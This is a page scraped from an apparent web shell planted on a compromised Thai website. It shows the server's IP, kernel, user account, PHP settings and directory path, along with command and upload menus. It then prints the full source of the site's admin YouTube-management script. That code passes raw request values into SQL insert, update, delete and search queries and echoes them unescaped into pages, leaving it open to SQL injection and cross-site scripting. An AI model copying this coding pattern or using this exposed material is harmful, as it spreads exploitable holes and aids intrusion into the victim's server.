|
Server IP : 124.109.2.77 / Your IP : 216.73.216.49 Web Server : Apache/2 System : Linux ns4.amiprocorp.com 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64 User : cpctlp ( 1020) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 329 OFF | Perl : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 335 OFF | Python : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 341 OFF Directory (0755) : /home/cpctlp/domains/cpctlphp.com/public_html/admin/img/../tcpdf/class/../../select2/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
session_start();
header('Content-Type: text/plain; charset=utf-8');
header('Content-Type: text/html; charset=utf-8');
//กำหนดให้ IE อ่าน page นี้ทุกครั้ง ไม่ไปเอาจาก cache
header ("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header ("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header ("Cache-Control: no-cache, must-revalidate");
header ("Pragma: no-cache");
include ("Connections/config.php");
if($_SESSION[UserRight]!="A"){
echo "<BR><BR><META HTTP-EQUIV=\"REFRESH\" CONTENT=\"1; URL=index.php\">";
exit;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<!-- Meta, title, CSS, favicons, etc. -->
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title><?php echo $config[web_title];?></title>
<?php include("header-css.php");?>
<!-- Ckeditor -->
<script src="ckeditor4.10.1/ckeditor.js"></script>
<!-- Ckeditor -->
</head>
<?php
include ("Connections/function-sys.php");
?>
<body class="nav-md">
<div class="container body">
<div class="main_container">
<!-- Left side column. contains the logo and sidebar -->
<?php include("left-menu.php");?>
<!-- Left side column. contains the logo and sidebar -->
<!-- Header -->
<?php include("header.php");?>
<!-- Header -->
<!-- page content -->
<div class="right_col" role="main">
<div class="">
<!-- Start -->
<div class="clearfix"></div><!-- เส้น -->
<div class="row">
<div class="col-md-12 col-sm-12 col-xs-12">
<div class="x_panel">
<div class="x_title">
<h2> Youtube </h2>
<div class="clearfix"></div>
</div>
<div class="x_content">
<!-- เริ่มต้น -->
<?php
switch($_REQUEST[action]){
case "Insert2DB":
if(isset($_POST['submit'])) {//ตรวจสอบว่ามีการคลิ๊กปุ่ม submit หรือเปล่า
$sql ="select * from youtube where aTitle='$_REQUEST[aTitle]' ";
$row=$db->recCount($sql);
if($row!=0){
$msg="ข้อมูลนี้มีแล้ว!";
}else
{
$sql="insert into youtube (aTitle,aDesc,aYoutube,aDate,statusID)
values('$_REQUEST[aTitle]','$_REQUEST[aDesc]' ,'$_REQUEST[aYoutube]',now(),'1')";
$db->query($sql);
$msg="บันทึกข้อมูลเรียบร้อยแล้ว!";
}
}//ปิด Submit
echo <<<DOC
<CENTER><IMG SRC="images/icons/loading2.gif" WIDTH="100" BORDER="0" ></CENTER>
<script>
SweetAlert('$msg','$_SERVER[PHP_SELF]')
</script>
DOC;
break;
default:
if(empty($_REQUEST[page])){
$page=1;
}else
{
$page=$_REQUEST[page];
}
echo <<<DOC
<CENTER>
<div style="width:99%">
<div class="col-sm-12">
<div class="col-sm-7">
<A HREF="$_SERVER[PHP_SELF]?action=AddForm">
<button type="button" class="btn btn-success btn-sm pull-left"><span class="glyphicon glyphicon-plus-sign"></span> <strong>เพิ่มข้อมูล</strong></button></A>
</div>
<div class="col-sm-5 "> </div>
</div><BR><BR>
<table class="table table-hover table-bordered" >
<thead>
<tr class="warning" style="text-align: center">
<th width="5%" style="text-align: center"> </th>
<th>รายการ</th>
<th width="5%" style="text-align: center">แก้ไข</th>
<th width="5%" style="text-align: center">ลบ</th>
</tr>
</thead>
<tbody id="myTable">
DOC;
if(!empty($_REQUEST[TxTSeach])){
$Where=" and youtube.aTitle like '%$_REQUEST[TxTSeach]%' ";
}
$sql ="select youtube.* from youtube where youtube.statusID='1' $Where order by youtube.aID Desc ";
$row=$db->recCount($sql);
if($row!=0){
foreach ($db->dbSearch_Page($sql,$_REQUEST[page],$config[list4page]) as $i=>$arr) {
$j=(($config[list4page]*$page)-($config[list4page]-1))+$i;
parse_str( parse_url( $arr[aYoutube], PHP_URL_QUERY ), $youtube_array_vars );
$img=$youtube_array_vars['v'];
echo <<<DOC
<tr>
<td style="text-align: center" width=5%><a href="$arr[aYoutube]" target="youtube"><IMG SRC="http://img.youtube.com/vi/$img/hqdefault.jpg" width=200 border=0></A></td>
<td>
<a href="$arr[aYoutube]" target="youtube">$arr[aTitle]</A>
</td>
<td style="text-align: center">
<A HREF="$_SERVER[PHP_SELF]?action=AddForm&aID=$arr[aID]">
<button type="button" class="btn btn-success btn-xs" style="height:25px;width:25px;"><span class="glyphicon glyphicon-pencil"></span></button></A>
</td>
<td style="text-align: center">
<A HREF="#" onClick="sebSweetConfirm('$_SERVER[PHP_SELF]?action=del4Data&aID=$arr[aID]');">
<button type="button" class="btn btn-danger btn-xs" style="height:25px;width:25px;"><span class="glyphicon glyphicon-trash"></span></button></A>
</td>
</tr>
DOC;
}
}else
{
echo <<<DOC
<tr>
<td colspan=7><BR><div align=center><strong>ไม่พบข้อมูล!</strong></div><BR></td>
</tr>
DOC;
}
echo "</tbody>
</table>
</div>
</CENTER>";
if($row!=0){
echo "<div style=\"width:80%;text-align: left\">";
echo $db->show_Page3($sql,$row,$config[list4page],$page,$_SERVER[PHP_SELF],"action=showList");
echo "</div>";
}
break;
case "del4Data":
$sql="delete from youtube where aID='$_REQUEST[aID]' ";
$db->query($sql);
echo <<<DOC
<CENTER><IMG SRC="images/icons/loading2.gif" WIDTH="100" BORDER="0" ></CENTER>
<script>
SweetAlert('ลบข้อมูลเรียบร้อยแล้ว','$_SERVER[PHP_SELF]')
</script>
DOC;
break;
case "Update2DB":
if(isset($_POST['submit'])) {//ตรวจสอบว่ามีการคลิ๊กปุ่ม submit หรือเปล่า
$sql ="select * from youtube where aTitle='$_REQUEST[aTitle]' and aID !='$_REQUEST[aID]' ";
$row=$db->recCount($sql);
if($row!=0){
$msg="ข้อมูลนี้มีแล้ว!";
}else
{
$sql="update youtube set aTitle='$_REQUEST[aTitle]',aDesc='$_REQUEST[aDesc]'
,aDate=now(),aYoutube='$_REQUEST[aYoutube]'
where aID='$_REQUEST[aID]' ";
$db->query($sql);
$msg="บันทึกข้อมูลเรียบร้อยแล้ว!";
}
}//ปิด Submit
echo <<<DOC
<CENTER><IMG SRC="images/icons/loading2.gif" WIDTH="100" BORDER="0" ></CENTER>
<script>
SweetAlert('$msg','$_SERVER[PHP_SELF]')
</script>
DOC;
break;
case "AddForm":
if(empty($_REQUEST[aID])){
$action="Insert2DB";
}else
{
$action="Update2DB";
$sql="select youtube.* from youtube where aID='$_REQUEST[aID]' ";
$arrE=$db->getRec($sql);
}
?>
<form id="frm" method="post" action="<?php echo $_SERVER[PHP_SELF];?>" class="form-horizontal pull-center" enctype="multipart/form-data" >
<div class="col-lg-12">
<div class="form-group">
<label class="col-lg-2 control-label">หัวเรื่อง</label>
<div class="col-lg-9">
<input type="text" class="form-control" name="aTitle" placeholder="หัวเรื่อง,รายละเอียด" value="<?php echo $arrE[aTitle];?>" required autocomplete="off" />
</div>
</div>
<div class="form-group">
<label class="col-lg-2 control-label">รายละเอียด</label>
<div class="col-lg-10">
<textarea id="aDesc" class="ckeditor" name="aDesc" rows="7" cols="100"><?php echo $arrE[aDesc];?></textarea>
</div>
</div>
<div class="form-group">
<label class="col-lg-2 control-label">Youtube</label>
<div class="col-lg-8">
<input type="text" class="form-control" name="aYoutube" placeholder="Youtube" value="<?php echo $arrE[aYoutube];?>" required autocomplete="off" />
<BR>
<span style="color:#FF0000">Ex.https://www.youtube.com/watch?v=HUHriOWaYLs
</div>
</div>
<div class="form-group">
<div class="col-lg-11 col-lg-offset-2">
<button type="submit" name="submit" class="btn btn-primary">บันทึก</button>
<button type="button" class="btn btn-primary" onclick="self.location.href='<?php echo $_SERVER[PHP_SELF];?>' ">ยกเลิก</button>
<INPUT TYPE="hidden" NAME="action" value="<?php echo $action;?>">
<INPUT TYPE="hidden" NAME="aID" value="<?php echo $_REQUEST[aID];?>">
</div>
</div>
</div>
<!-- <div class="col-lg-10">-->
</form>
<?php
break;
}//ปิด switch?>
<!-- สิ้นสุด -->
</div><!-- x_content -->
</div><!-- x_panel -->
</div>
</div>
<!-- Stop -->
</div>
</div>
<!-- /page content -->
<!-- Footer -->
<?php include("footer.php");?>
<!-- Footer -->
</div>
</div>
<?php include("header-script.php");?>
</body>
</html>